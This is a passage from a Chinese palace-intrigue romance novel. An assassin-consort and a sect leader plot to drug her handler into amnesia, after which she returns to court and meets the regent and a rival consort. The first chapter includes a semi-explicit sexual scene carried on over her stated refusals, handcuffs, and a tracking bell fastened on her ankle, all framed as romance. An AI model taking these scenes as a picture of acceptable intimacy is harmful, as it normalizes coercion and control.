少顷,云垂会意,从塔底下上来,恭恭敬敬将雾刀拖出房间。 顾怀瑾起了身,坐到她身侧,将人揽过后背搂在怀里,下巴搁到她头顶,握着她胳膊的手,大拇指一下一下轻抚着。 “拖到塔底,拴住,门锁紧。”他下令,“人若是跑了,你们一个也不用活。” 她依偎在他怀里,被他层层叠叠的袍袖裹着,略略抬头,便看见他说话时滚动的喉结,一时心安得有点鼻酸。 他是不是还没从雾刀那听说什么。 “好了。怎么怕成这样?”云垂将门关了,他立时垂首下来吻她眉心,耐心哄着,“没事,没事,我在呢。” 她颤抖着双睫,叹息一声,才发觉自己细细打着哆嗦。 要在雾刀面前泄露实情,她不论如何,难以心安。 “乖乖,”他道,一面捧着她的脸摸着,去吻她的眼睫,笑,“怕什么。谁敢来,我保你。” 她红着眼睛往他颈窝里钻,抱住他不肯撒手,有点哽咽。 “别怕,别怕。说吧,怎么回事。”他拍着她的背。 她抓着他的袖子,终于压低声音开了口: “往生门内,刺客与教引相互牵制。刺客们能打不善藏,教引们会藏不善打。他们这群人,自小就被废了练武的气脉,会招式,没内力,专精轻功与匿影术。” 他笑了一声,“没内力。怪不得我当年发觉不了。” 她点点头。迟疑一瞬,还是忐忑开了口:“他都跟你说什么了?” 第134章 “什么也没说。”他摸着她的腰,摸得她腰上热乎乎的,“我哪知道他如此羸弱。这么壮的家伙,我没收力。谁想,一掌就差点拍死。所以,没来得及。” 她终于放下心来。 “你打算拿他怎么办?”要审他吗? “这要问你。”他垂首下来蹭着她的头,“你想怎么办?如果杀了他,有诸多麻烦,那就留着。” “关键在于,即便他死了,我很快就会有新的教引。雾刀带了我十几年,至少我们知根知底。他脑子笨得很,我若想要他做什么,略施小计便是了。并且……” “略施小计”。 他忽然听得笑了。 当年的皎皎,天真单纯。不想,正主竟然是一个机心巧妙之人。 单纯固然不坏,冰雪聪明,却是更好。 他揉揉她的脸,凑近去贴了贴她的双唇,吻得她一愣。 “干什么。说话呢,别亲。” 他声音含笑,“没忍住。你说。” “并且,他平日负责与线人往来联络,这些事,门内为控制我们,从不允许我们插手,我也不知他上头的线人是谁。所以,最好还是不要杀他。如果可以,要他为我所用。不过,这要稍微难些。” 她一条一条说下去,一边说,一边掰着手指计数,忽然抬起眼来问他: “你们天山当年的忘忧散,你还知道方子吗?” “忘忧散啊。”他笑,“有。” “那就用忘忧散。是不是能消除三个月的记忆?” 她话一停,才发觉他不知何时,已经偏着头贴到了她鼻尖前,近得呼吸相织,懵了一下,“做什么……” 他忽而下来含她的唇瓣,温软的唇两相黏合。 她怔住了,“到底要做什么……先不要亲!” “乖乖,”他抽出手臂,就势将她放倒在榻上,俯下身子压着她含吻,吮着她的唇瓣不放,“这么聪明,从前怎么都没叫我知道。” “我跟你说了先不要亲!”她压低声音推开他,“倘若他醒了,这塔里所有的声音,他全听得见。” “听到又如何,还不是要用忘忧散。”他不管,故意下去又啄了一下,才摸着她的下颏,“说吧。” “忘忧散刚好可消除三月的记忆。我入宫,至今刚好两月有余。那么,不妨叫他失忆,让他脑子空空的回到我身边。然后我告诉他,此次任务,不仅是要杀皇上——”她食指在他胸口一点,“——还要杀你。” “杀我?”他挑着眉毛,笑出了声。 “要杀你,他就无法阻止我去找你。你在我身边,他就无法时刻随在我身侧,我想做什么,都会方便许多。” “好。”他看着她用楚皎皎的脸,做着楚皎皎远远做不到的事,觉得分外新鲜有趣,“那我们见面,岂不方便多了。” “这件事,最万无一失之处在于,”她笑,“雾刀也怕往生门。他发觉自己失了记忆,必然不敢声张,因为他不知自己是否走露过什么。等到他拎着个空脑子回来找我,以他那性子,必然还要疾言厉色地诈我一番呢——” 她捂着嘴嬉笑一声: “然后,我三言两语就戳穿他失了忆,他没办法,自此多了个把柄在我手里。并且,只是告诉他,多了个任务,而非换了任务。如此,上头线人给他的指示,也不会叫他生疑。而我——”她得意一笑,“就自由多了。” 他埋首进她颈窝里笑了一阵。 她一番话,字如连珠炮,句与句之间几乎没有间隔,不必费力深思,便是周全的主意,有点叫他惊讶。 “那就这么办。”他在她锁骨上轻轻落吻,惹得她身上一阵痒。 “还有一件事,我要问你。”她捧起他的脸,认真望进他眼底,“清涟和远香呢。” 他笑起来,“你说呢。” “我怎么说?” 他撑起身子,笑着按揉她纤细的锁骨,“拷打了一阵,各自吐出了一点东西。不过,她们二人本也不是什么重要人物,并不知道太多。怕她们怨恨你而生了异心,所以,”他直笑,“也早用了忘忧散。” 她顿时松了一口气,“你也想到了?” 他道:“自然。” “还好你没有杀了她们。” 清涟与她生得像,实在是她绝佳的替身。有清涟在,她才能无所挂碍地行动。 他倏地又按住她吻下来,被她偏头躲过,她一把上去捂住他的嘴,“说了别亲了,话没说完呢。我们回宫——” “回宫一切如旧。”他被她捂住下半张脸,黑绸覆住的睫毛微微眨了两下,不容推拒也不容置疑,“我想你时会去找你。平日见面,礼貌点个头便是,私底下见面……”他轻轻拨开她交叠的 衣领,“……该怎么来,就怎么来。” 她长吸一口气,叹息。 “你就不能忍个几月?” “不能。”他斩钉截铁,“莫非我忍得还不够?” 她没话可说了,扶额叹了一口气。 忽而门被叩了两下。 云垂在门外急急道:“掌门,有要事禀报。” 顾止闻言起身:“什么事。” 云垂:“皇上派来的亲军,今晨抵达了无量山,正在山门前等候。” 南琼霜缓缓自榻上坐起,推开衾被,与他对视一眼。 云垂:“统领亲军的常何将军说,京中局势紧张,摄政王与皇上不和,皇上下旨,今日务必请掌门和娘娘回宫。” 她两手撑在背后,轻轻呼吸,只想了片刻。 “先回去吧。”她抬起眼,“圣旨送到了山前,不论如何不能再拖延了。” 他默然不语。 良久,他道,“我回不去。忘忧散的方子不可外传,交予他人去办,我不放心。” “那我先回去。”她伸出细腕,要他将手铐解开,“亲军都派到了山前,皇上恐怕已是龙颜大怒,再拖不得。你我今日至少要先回去一人。” 顾止垂着眼睫,半晌,一句话也没有,一个字也未吐。 最后,终于悠长一叹,自袖中摸出一把小钥匙,咔一声,解开了她双腕上的铁铐。 她转着手腕站起身来,白衣迤逦着随她下了榻,拖在地上。她往窗子底下看了一眼,道:“叫他们把我那日上山的衣裳拿来,派两个侍女上来替我梳妆。你之前搜走的那些玩意儿呢?” “什么?” 他回身看她。她站在窗前,窗外一片苍碧色的茫茫群山,天色更亮了些,映得她白衣有些泛蓝,她毫无心伤地垂首往外看。 又是这样。 只要她想起她的任务,想起往生门,想起洛京的那些事,她顷刻就会把他抛到脑后。 即便以后在宫中日日相见,恐怕,四象塔上的她,他也再见不着了。 “我的戒指、暗器和药丸。当日长生泉内,你从我身上搜走的所有东西。” 他压下心酸,握着刚从她腕上解下来的两只铁铐,一下一下难舍地抚摸着,“云垂。将娘娘的东西都取来。来个侍女,替娘娘梳妆。” “是。” “我们回去之后,”她按揉着因一直被锁住而泛红的手腕,去镜中仔细检查了肩颈的吻痕,“一切以大局为重。你顾你的一山二虎之局,我顾我的任务。” “你到底……”他回身看她。 他话不消说完,她就知道他要问什么。 “我还得想想。回了宫……再给你答复。”她坐到镜前,镜中明明都映出了他的脸,可是,她只顾着拿发梳梳头,连在镜中看他一眼,都懒得顾及,“关键在于,往生门是否会守信。此事确定了,叛与不叛,我才能下决心。眼下,我拿不准,须得多方探听些消息,方有定论。” “不过……”她的梳子停了下来。 “不过什么。”他真受不了她那种界限分明的态度。 她叹了口气,“不过,当年天山之祸……是我欠你。即便我不叛,你想要的东西,我也会给你。”她将梳子搁到桌上,转身去戴云垂递来的蛛罗丝的戒指,“只是,不能现在就给。” 他默然站起身。 云垂当即垂首退下。 他的身影映在镜中,长衣如墨,人仿佛一道阴沉而难缠的影子:“霜儿。倘若你不叛,即便你将一切都告知于我,我也无法同你在一起。” 房间内一阵整理首饰衣物的窸窣声,无人回答。 她站起身来。侍女们环绕着她为她更衣,她只是垂着长睫,由着她们将她的白衣褪下。 她那种沉默,如今,他隐约明白。 倘若她不想叛,即便要以两人一刀两断为代价,她也还是不会叛。 她是爱他。但她,不会容许情爱,动摇她的任何决定。 虽然,白衣褪下,她满身吻痕斑驳,密密麻麻。 他胸中一阵难以出口的淤塞和不安,走去窗边,难以自控地抓着木椅的椅背,带点自虐的快感,拿木头狠狠硌着指骨。 “今日我先走了。”珠花步摇一支支插进她逐渐挽好的发间,她对着镜子检查两侧珠花的高低,“回宫,说要两人如常,也千万记得大局为重。若要冒险,便先不要见了。紫禁城不比别处……” “你不准见他。”他骤然打断,语气近乎粗暴,“不准跟他私会。同他少来往。跟我顾忌着大局为重,不准我见,怎么天天同他湖上私会?” “我同他……”她听出他语气不对,“我同他什么也没有。何况,紫禁城内,皇上占一小半,其余一大半,全是摄政王的。下人们最懂得投诚,皇上又待人残暴,不得民心,谁会为了皇上得罪摄政王?于大局无碍,自然无妨。但你我……” 她回身看他一眼,“你我同是皇上的人。稍有不慎,谁也没个好。” 他今日才明白,她这个人,做事,只讲头脑,不讲感情。 他笑起来:“我并非问你如何敢天天同他见面,而是问你为何同他见面。” 她在镜中眨了一下眼,缓缓戴上了翡翠耳坠。 为何? 她鲜少能有个不必演戏又脾气相投的朋友,加之他地位高、权柄在握、又不对她端贵胄架子,她为何要连朋友也不做。 她没接话,梳妆完毕,站起身来。 “我同他当真什么也没有。并且,一切以大局为重,摄政王的支持,能得到手,为何不要。” 她最后理了理裙摆,侍女们列行鱼贯而出,她将金环一只只带上,刚一抬眼,从镜中见到他走去,无声地合上了门,“怎么关了门?” 腰间忽然箍了一圈手臂,接着双足就腾空了,她惊呼一声,骤然在空中划过一道弧,重重摔在凌.乱的衾被里。 “你做什么?!” 她翻身刚要坐起身子,倏地被他按住肩膀锢在榻上。 炙热的呼吸喷在她鼻尖,步摇的珠子打在她脸上,她一下失了声。 面前人缚着眼,唇角带笑。 “娘娘,可真是要回宫做娘娘去了。”他一手拨乱她裙摆压下来,她心惊胆战地察觉他的虎视眈眈之心——她还身着皇妃服制,惊得脚趾一阵抽`搐,“你做什么!我满头的珠花……” “这种事不关己的官腔,娘娘还要跟我打多久啊。”他慢条斯理地滑了一只手进去,吓得她腰身一颤,“不是娘娘在我床上哭着说要我的时候了,嗯?” “你……!”她不敢轻举妄动——一头珠花,别了许久才别好,只抓着他宽大的袍袖,“你放开!亲军在外面,常何我是面熟的,你现在同我——” 织花缕金的长裙铺在榻上,随着渐被抬起的膝弯如花一般打开,两只膝盖吊在他两肩上。渐渐地,她一阵骇然,“顾怀瑾。”她几乎是警告,“别误我的事,眼下不是做这种事的时候。倘若你真……”话忽然断了,她咬着唇畔强自忍受,他不管不顾在底下深吻着,舐得她浑身如被蚂蚁啮咬,她再清醒,还是抵挡得艰难:“你……” 忽然又是云垂不近人情的淡漠嗓音。 “掌门,常将军拿着圣旨,执意入山。山门前的弟子阻拦不得,眼下,常何将军已经候在塔下。请掌门……” 声音就在门外,她心里一抽,仿佛被人当面瞧见了似的,惊慌撑起身子。 转眼就又被他按下,不计后果地用力吻。 她在榻上偏着头,手指咬在嘴里,强耐着不出声。 门外是暗卫,塔下是亲军。床上是乖乖,床下是娘娘。 这个念头甫一在她脑中炸开,她几乎忍不住了。 她强咬着牙没开口——云垂既是暗卫,倘若她同他说话,云垂自然是听得见的——一面攥着拳咬在口里。 既然非要这样……都到了这一步……那就忍过去,快一点。 这人到底要干什么啊! 忽然,他一只手掌摸上她雪白的小腿,接着握住她纤细的脚踝,手掌一扣。 咔哒一声。 他唇上的动作蓦地停了,气喘吁吁地抬起头。她后知后觉地疑惑睁开眼,一见到他唇上那些莹润的水渍,羞得几乎要烧起来。方才那般不愿,谁知他忽然停了,她倒有点空落落的,“怎么?” 他的手,自她小腿挪开。 一根纤细的红绳,拴在她脚上,中间缀着一串黄金铃铛。 “娘娘戴个铃铛吧。好听,好看,以后再将腿吊在臣肩膀上,铃声动人,更添趣味。” 她长嘶一口气咬在齿间,心里冰凉。 什么叫腿在他肩膀上。他知不知道门外有云垂?! “掌门。” 她心里突的一跳。 眼下不是计较有无人听见的时候了。她抓住他袖子,“不行。我是刺客,倘若一动作便有声音,我怎么——” “铃铛之音细微,便是臣也需凝神谛听,方能察觉。”他礼貌颔首,“娘娘不必担忧。” “你给我带这个是做什么?”她扯住他胳膊,惊怒地瞪他。 云垂:“掌门,常何将军在塔下几番催 促——” “自然是为了,时刻知晓娘娘身在何处。”他终于舒了心,站起身来朝她伸手,“不然,娘娘今日不肯见,明日不肯见,臣有事启奏,又到哪里去寻娘娘呢。” “你,”她冷笑一声,顾忌着门外人,压低声音,“你方才……就是为了给我戴这个?” “不然,以娘娘的脾气,会准吗。”他笑了一声,倏尔又沉下脸色,“臣最后劝告娘娘一句。不准同他私会,不准同他见面,不准找他求助,不准依赖他。” 一句连一句,句句重音,仿佛刀连着剁在案板上。 “否则,别怪我罔顾与他昔日同门情分,赶尽杀绝,挫骨扬灰。” 她坐在榻上,肺腑之间一口气悬吊着,落不下去。 假如同意与他在一处,就要放弃摄政王的庇护,此事,是否值得。 她或许会再想一想。 她无视他伸过来的那只手,走去妆镜前,理了理方才被震歪了的珠钗。 云垂:“掌门,娘娘——” 她提起裙摆:“先下塔吧。”走了两步,又回身同他道,“雾刀那厮,最好不待他醒来,便用下忘忧散。你不晓得他们这种人,有多能逃,多会藏。” 他听着,面无表情。 她骤然转身,他还以为有体己话要对他说。不想,口一开,一句留给他的也没有,心里一股憋闷烦躁。 云垂退出四象塔在外候着。两人一时无话,各怀心思,下了塔。 却在塔底门口,瞧见了被扔进黑暗里的、蛹一样的大块头。 一口刷白的尖牙,即便塔内晦暗,依旧白得森森。 南琼霜心里突地揪起一块。 雾刀醒了。 他笑着,口中喷着酸臭的热气,不怀好意地,在她脸上睨了一眼。 “你这崽子,果真是叛了吧。” 她登时步子被钉在原地,瞬间开始发抖,一阵失重的恐惧,一步也迈不开。 顾止一步跨出,静静负手,长衣垂地,挡在她身前。 雾刀抬起青紫的眼皮,见他将南琼霜珍重护在身后,一派万夫莫开的模样,嘴角咧得更开了。 那个笑容,南琼霜有一瞬间的直觉。 大事不妙。 她飞针拈在指尖的一瞬,雾刀狞笑着开了口: “唷,这么护着。当年,那个姓李的小子,为跟她下山私奔,偷了阴阳钥,放火烧了天山。最后,是你身边的女人,给他指了一条密道,放他走的。” 他嘴唇翕动: “放火烧山的罪人,在你眼皮子底下,被她网开一面。啧啧,多么深重的情分呐。就更别提,他们二人第一次见面——” 嗖的一声,银针刺入他哑穴,声音断了。 雾刀哑着嗓子笑着,一阵一阵喷气,额头抵在地上,一双眼往上翻着眼睛瞧她,笑得一抽一抽。 “乖乖。”面前的人平静回身,“第一次见面,是如何。” 南琼霜站在他身后,只听见脑袋里訇然作响,一阵天崩地裂的响动。 再一细听,塔内却仍静悄悄的。 结束了。 话说到一半,虽然被她截了,但那根欲盖弥彰的银针,已经是答案。 她不能告诉他的事情,太多了。 她垂下眼绕过他,一言不发,木然迈步,推开了四象塔的门。 门开了。外面一线晨曦,越来越亮,越来越宽,斩入塔底,劈开两人。 一人在明,一人在暗。 她踏出了四象塔,把他一个人独自留在塔里。 后来,常何将军见了嘉庆帝,便对嘉庆帝感慨,说珍妃娘娘“念皇上已极,甫一见臣,乍然落泪”。 第135章 雾刀许久没有回来。 她鲜少有摆脱了教引的时候,忽然之间没了人盯着,倒还有些不适应。 可惜,人在紫禁城中,这么好的脱身之机,也只能白白错过。 她躺在贵妃榻上,百无聊赖摇着团扇。 时节已入了夏。洛京夏日炎热,紫禁城中憋闷,红墙之中,近乎酷暑。窗子底下的草丛中,捂着一大群嘈杂的蛐蛐,微弱的夏风携着庭院中的热浪拂进屋内,熏得人昏昏欲睡。 远香悄无声息地奔着她走来,见她阖眼歇着,转身又走开。 “什么事。”她拿扇子边缘抵着腮。 “娘娘。顾先生派人传了字条来……” 她眉头一皱,倏尔睁开眼。 “顾先生?” “是。” 她眼珠转了转,没多言语,伸手接过了那张折的方正的纸条。 捏在手里,却没立即打开:“下去吧。” 远香喏喏应声,转身退下。 南琼霜手肘支在榻上,一面摇着团扇,一面朝门口望着。 远香提着裙摆,自牡丹鹦鹉鎏金立屏后绕过,恭顺而沉默,身影消失了。 她捻着那张字条,在指间意味深长地搓着。 她的人,是何时开始,与顾怀瑾的人联系上的?顾怀瑾又是如何将消息送到远香手上? 这里可是紫禁城,而他,甚至还未回洛京。 远香和清涟两个,自回来以后,被忘忧散消了无量山上的记忆。她不想叫她们二人发觉自己失了忆,只告诉她们,当日她们上船后遭人劫持,晕死过去。再醒来,便被顾怀瑾救了,在无量山上休养了几日,之后就随她回了宫。 因着失忆这一条原本便要对她们瞒着,她们二人身上的奇怪之处,她也不好径直问。 也许,是他,在她们身上做了点手脚。 也许,是说了些,他没同她商量过的话。 一想起他这个人,她心中便乱得很,揉了揉太阳穴,打开了纸条。 “顾某三日后返京,邀娘娘宫中海池乘舟一叙。” 雅正矜贵的楷书。下面又多添了一行略微连促的字: “诸多疑窦,要问娘娘。” 她胃里一阵发酸的失重感,疲惫地将纸条又合上。 要问她,问什么。 她还有什么好解释的。 雾刀至今未归,耽搁在无量山上这么久,八成是已经被顾怀瑾审过了。 他那个人,往生门的内情,必然是最后才肯吐。内情之前,吐出来的,肯定是她的底细。 她是如何居心叵测地设计与他见面,居心叵测地自伤以求上山,居心叵测地哭、居心叵测地笑、居心叵测地关怀备至,恐怕他会知无不言,言无不尽。 甚至,连她做成了的其余三个任务,都用过哪些手段,哪些毒计,恐怕他也会一五一十地讲给他听。 等他听完了,便会胆战心惊地明白,他的枕边人,是怎样一个毒妇。 她带点破罐子破摔的笑,将那纸条一点一点撕碎了,撕得如棉絮一般,泼进化了一半的冰里。 事情就是如此,还有什么好问的? 没什么好问的,她也没什么好辩解的。 过去五年,她早在他面前演累了。如今,即便他会惊骇忌惮,她也就是如此,不会辩解,也不会再演了。 这就是她原原本本的真面貌,爱喜欢不喜欢吧。 但求他得知一切之后,不要怀恨,坏她的事。 她下了榻,走去桌边,恹恹地拿笔蘸墨,裁下字帖的一块,一笔一画地写: “从前诸事,德音已倦于申辩,先生不必多问。 多年恩怨,掺真半假,各有难处。 万望彼此放过,相互成全。” 彼此放过,相互成全。 四象塔上荒唐了那么多日子,恨人又自恨,又含着泪原谅,最后,还是回到这八个字。 是她得意忘形了。因为他余情未了,自欺欺人着将当年之事揭过,她就也以为真的可以揭过。 其实,哪里有那么简单。最初既因阴谋结缘,后面再动什么真心,也不过云烟之上垒砖块,何止不稳固,还会跌的四分五裂。 他们之间,早系着通不开的死结。 早断掉,早解脱。 她垂眸看着自己笔下的字条。 这样写,一刀两断之意,应是显而易见了 吧。 她将字条依样折好,“远香。” 远香恭敬如常地走了进来,将纸条接过,收入袖中,附耳: “娘娘,摄政王召您一叙。” 大明宫内,凉意丝丝。 李玄白行事向来奢侈,入了夏,数他问御用监要的冰块最多。一进殿,便见殿中摆了十二口四足瑞兽铜缸,个个堆满了冰块,盛夏晴日,也阴凉得仿佛落雨一般。 李玄白在矮几面前盘腿坐着,几上奏折堆得一派凌乱。 “叫我来做什么。”她在矮几另一侧敛裙落了座。 他自黄澄澄的奏折中抬起眼,太阳光照在奏折上,映得他脸上也黄澄澄的,他眼底带着点金黄的反光,笑: “回宫这么久了,也没想着过来见见我?” 她古怪一笑,自己斟了盏茶,揶揄他: “想我了?” 他答得利索:“那是自然。”又翻着折子问,“他在山上强留了你十几天,若不是顾忌着局势,我也不会容他这般放肆。十几天,还好吗?” 还好吗? 她噙着抹意义难明的笑,茶盏端到唇边,望着庭院内的奇花异草,一时没出声。 什么叫“还好吗”。 死倒是没死。 只是,最初的几天,把这辈子憋在心里的眼泪,一口气哭干了。 后来,嗓子又叫干了。 就连现在,她看着人模人样的,一身织金缕花的蝉纱长裙,满头珠翠宝钗,其实皮肤上,还全是他留下的,密密麻麻的吻痕。 不知怎么,一想到身上红痕遍布,又想到只隔着一层薄薄的衣裳,被李玄白在案几对面兴致盎然地看着,她脑子里就嗡一声。 仿佛被人看进衣裳里去。 她神不知鬼不觉地,拉了拉领口,将颈上的吻痕藏住。 “还好。他其实是专门带我回去算账的。”她叹息一声,“什么麒麟草,全是胡扯。我早同你说过,他认出了我,你偏不信。” “他认出了你,结果没动你,”李玄白拿着紫砂壶给自己斟茶,听了这话,抬起脸来瞪她,茶满得汨汨漾出来,“将你骗上了山,又将你原封不动地放下山来了?” 她捂着脸再叹:“自然……没那么简单。也是拷问过的。” “拷问?他伤了你?” “他……”她难以启齿,“伤倒是没有伤。不过,跟伤了也差不多。” “你没事?” “总而言之,可以算是没事。”她不愿再说下去了,“你别问了。” 李玄白止了话。 她素来有许多不能开口的。她那些不愿示人的秘密,与他那些鬼神难言的权术心计一样,是他们不成文的默契。 “那么,下了山,你们怎么样?”他自果盘里拣了颗绿葡萄,阳光底下,那葡萄映出玉珠般的质地,“是一别两宽,还是不共戴天,还是冰释前嫌,死灰复燃?” 他那眼神,仿佛猫见着耗子,饶有兴致而假装不在意,若无其事地在唇间挤了颗葡萄。 ……她如今见颗葡萄被挤得脱了皮,光溜溜地入人双唇,都会脸红心跳。 她捏着茶盏,轻描淡写,“结束了。” “结束了?” “彻底结束了。”她道,“当年爱恨,一笔勾销,两人从此再无瓜葛。” 她偏过头,一脸心不在焉。 那种表情,李玄白一看便知有问题。 一笔勾销,她勾销那姓顾的或许容易,可那姓顾的,因为她,门派都倒了,他肯轻易一笔勾销? 他若是肯,那绝对有东西,还勾销不了。 他没好气地一笑,心里道,没骨头的东西,一面道: “那是最好。你也知道,他那个人,素来心眼小。如今你们二人缘分尽了,彼此都肯放,是再好不过。不然,这紫禁城里,你偶尔借一把他的力,我不会说什么。但你受我的好处,他一定不肯。若是旧情未了,你便不得不从中择一了。” 他意味深长地笑睨她:“你说是也不是?” 南琼霜恍然笑了,垂眸。 相识多年,李玄白这厮,已经清楚什么话可以打动她。 她道,“你呢?这段时间,洛京城中如何?听说你同皇上闹得不可开交。” 李玄白嗤笑一声,“还说呢,疯疯癫癫的蠢货。你知不知道他那个丧心病狂的母亲?” “常太妃?”她仔细思忖着,缓缓在口里搁了颗荔枝,“我早就想问,既然是皇上的生身母亲,缘何至今还是个太妃?” “他那个母亲,”他嗓音不屑而轻慢,曲起一边膝盖抱着,“常达的妹妹,没干过什么好事。我的母妃,当年就是遭了她的暗算,中毒身亡的。后来东窗事发,她便被先帝贬入静思轩,直至今日。她还想当皇太后?” 他含笑将手中荔枝核掼在瓷盘中,当的一声响,“留她一条狗命,算本王慈悲。” “就这么一个恶妇,那个疯子,想我将她从静思轩中放出来。”他抱着肩膀冷笑,怒得食指指指点点,“放出来,下一步更待如何,是不是还要封皇太后,入慈宁宫?简直匪夷所思。这件鸟事,近些日子,他同我提了一遍又一遍。你说他是疯了才蠢,还是蠢极才疯?” 她皱着眉头,指间拈着一颗葡萄,一点点剥着皮,“皇上本已经做了两年的皇帝,蓦然被你们二人自上头拽下来,哪里会心甘。眼下即便放权,心气还高着呢,不过畏惧你们二人,才在笑乐园中消磨时光。” “他自来是如此。权柄没了,胃口犹大,也不瞧瞧自己一口牙还剩下几颗。”他笑,日光自雕窗里投进来,映得他那颗鸽血红的小耳坠一闪一闪,“要放常褚秀,没门。本王在这大明宫中一天,她就得在静思轩中待一天,死,也得死那。” 嘉庆帝只要活着,其他事,她不怎么在乎,轻轻摇头,“常达大将军呢?当众讨封,闹得沸沸扬扬,最后如何了?” “封了王爵,没给铁券。”他抓着茶杯喝了一口,“没有封地,不能世袭。禄米,稍微多给了些。” “‘稍微’?‘稍微’,他也肯?” “不肯又如何。数百年来,从无异姓诸侯王的先例。他还想如何?” “那他……” “他应了。”李玄白一哂,摊开手,“别管高不高兴,痛不痛快,他应了。他若是不痛快,以后,也只能用长矛冷箭叫他痛快痛快,再多要,也没有了。” 她端着茶盏贴在唇上,垂眸缓思,一时没说话。 一山二虎之势,本就危如累卵。稍有不慎,便是惊涛骇浪。 她如往常一般跑来大明宫与他说话,真的无妨么。 顾怀瑾是早警告过她,不准她同李玄白往来的。如今,她那张字条一送出去,他们两人便算一拍两散。倘若顾怀瑾记恨她,到嘉庆帝面前告她一状,说她与摄政王纠葛甚密,她就是吃不了兜着走。 何况,宫中毕竟人多眼杂,说不定什么时候,她常来大明宫的事,就会入了嘉庆帝的耳朵。 她捻着耳朵底下的翡翠珠子,深思着道,“我总觉着,风波又要起了。以后我还是不来了。即便这宫中人人忌惮你,我们相见,总是危险。” “怕什么。你同那姓顾的断掉,也要同我断掉?” 她拿不定主意,未答。 “谢德音,你的‘谢’字,是清河谢氏。”他折扇敲着案几边缘,“我的母妃,亦是出自清河谢氏。若论起关系来,你还是我的表妹。遑论我们二人,一个年少时被送出京城,上天山历练,一个年少时走失,多年后才被本家寻回来。血缘之亲,经历又相似,同在宫中,惺惺相惜也是自然。即便有人在背后嚼口舌,那又如何?本王坐在这,那疯子敢怪罪你?” 她垂下头沉思良久。 少顷,轻叹,“罢了,罢了。”皇宫之中权势最大的主,连个压得住他的人都没有,仰仗他,远比推开他要值当。 她站起身,理着裙角,“即便念着什么表兄妹情谊,德音也不能在摄政王这久待。今日不过是来叙叙旧,德音先告辞了。不过,”她走出两步,兀地转回身望着他, “德音还有一事相求。” 李玄白啃着贡梨,狐疑眨眼:“什么?” 她道:“表兄能准我偶尔出宫么?” “出宫?”他垂睫思忖片刻,意味深长一哂,“唷,这么忙啊?” 她也不瞒他——经历天山之祸,李玄白闭着眼睛也知道她来紫禁城内要做什么,笑,“是啊。” “不是不可。但别叫那些整日念叨宫规的嬷嬷知道。” 他耗子似的将那梨啃得嚓嚓的,“过会,我身边的吴顺会给你送去令牌。但你记住,此事不可让第三人知道。出了宫,要做什么随你,但少顶着皇妃的名头在外面晃荡,出了什么事,我可管不了。还有,”他手指朝她一指,一双狐狸眼恣肆眯着,“令牌给了,以后叫你来,你就来。若出什么事,我兜着,嗯?” 她听了,悠缓一笑,款款福身,“德音知道了。往后,任凭表兄差遣。” 自大明宫中出来,已是申时。 傍晚,暑气渐消,日头终于缓缓挪到了西边,被高高红墙和纷繁枝叶挡着,不烤人,余晖却仍灼目。 御花园中并无一人,静悄悄的,唯有些鸟啼蝉鸣。曲折回廊之外,一大片纷繁的花丛,落日余照自树影花廊之中筛过,一斑一斑照在花草之上,金光婆娑。 南琼霜静默在回廊中走着,一面走,一面观花,远香无言地随在她身后。 这个时辰,在御花园中漫步,是因无事可做。 如她所料,她失宠了。 自无量山上回来,刚一入宫门,她便觉阖宫宫人待她与从前不同。 从前鞍前马后的小顺子不见了人影。 她的菡萏宫,伺候的人少了一半,窗棂上都落了灰。 酷暑时节,御用监该拨来的冰块却迟迟送不来,远香去御用监一问,方知她的份例,大多被景仁宫借故截走了,连招呼都无人跟她打一声。 景仁宫,便是晟贵妃的居所。 宫人们传,当日她走后,晟贵妃便在宴上靠一支掌上舞复了宠。她走的这十几天,嘉庆帝同晟贵妃鹣鲽情深,恩爱得紧,日日黏在一处,连用个午膳,也要你喂我我喂你。 后宫之中,原本便是她二人势头最大。一山倒了,顷刻便改换靠山,也是宫中的人之常情。 她手搁在回廊的木头栏杆上,一面深思,一面散步。 走着走着,忽而听见前头回廊内一阵欢快的女子笑声,御花园内幽静,那笑声便格外引人注意。 她循着曲折回廊拐了个弯,余晖大盛,刺得她眼睛眯了一瞬,她用手挡去前头的日头,才看清花丛中的人影。 刚一看清,便冷笑一声。 真是冤家路窄。 毛琳妍正带着二三侍女在花丛中扑蝶,一身水红织金百蝶长裙,曳然蹁跹,日光底下,缀着的金片子闪着光,亮得叮当作响。 她站在回廊的阴影底下,静静地看。 毛琳妍乃是常达的义妹。据说她出生时,阴差阳错被稳婆抱错,在常将军府上养了十五年,十六岁时,才被人发觉并非常老将军亲生。之后,她便改了毛姓。 虽然如此,但她毕竟在常府中养了十五年,有多年情分在,日后,依旧被常府认作了义女,后来更借常达的势,入宫侍奉嘉庆帝。 南琼霜倚在廊柱底下,望着花丛之中活泼雀跃的那抹红影子,笑得幽深。 毛琳妍在繁花之中跳两步,便抬头往日光底下的半截回廊中瞥一眼。瞥一眼,见没人,又扭着身子,找着角度,重新跳。 南琼霜掩在阴影里,越看越想笑。 这条路,是从笑乐园回紫宸殿的必经之路。每日嘉庆帝打牌乏了,欲回紫宸殿,定然会路过御花园的这一截长廊。 在这跳来扑去,给谁看呢? 遑论穿着满身金片子的衣裳,专往余晖的光斑里跳。 这些夺人眼球的小伎俩,南琼霜十年前就玩得腻了,瞧一眼便看得透,越看越觉得有趣。 毛琳妍在百花之中扑了半晌,一只蝴蝶也没扑着,脸上的胭脂都融化了些许,一身粉汗,气喘吁吁地直起身子,又往日头底下的半截长廊中望了眼。 这一看,终于注意到了那树荫下的半截回廊中的人。 被她盯得一瞬发毛。 树荫底下,笑得悠然的人徐徐行了礼,先开了口:“臣妾参见贵妃娘娘。” “是你?”毛琳妍上下打量她一眼,见她头上犹别着那支被她斥过淫邪惑主的桃花簪子,骤然想起当日她在紫宸殿外雨中长跪,而南琼霜怡然自得当着她面进殿侍奉的场景,顿时气不打一处来。 她咬着牙强压下去。 南琼霜只是温和笑着。 毛琳妍自花丛之中敛好裙摆,抬步跨了出来,羞答答绞着手帕,不敢抬眼似的:“姐姐自无量山上回来,气色差了许多啊。” 柔弱作态,这一套,南琼霜也熟悉,挑着眉毛笑了:“姐姐较我入宫更早,侍奉皇上也更久,一声姐姐,真是折煞我了。快不要如此相称。” “那妹妹,脸色如此发白,可是无量山上吃得不惯,住得不惯?还是忧心皇上?”她拉住了她的手,“若是皇上龙体,妹妹大可不必担忧。皇上同我日日在一处,我整日亲眼看着呢,气色好得很。妹妹还是多多挂心自己。” 南琼霜脸上的笑弧越发深了。 “我倒是想挂心。只是,御用监那帮奴才们,办事不力,该给我菡萏宫的冰块不肯给,这盛夏天,叫人如何睡得安稳呢。” 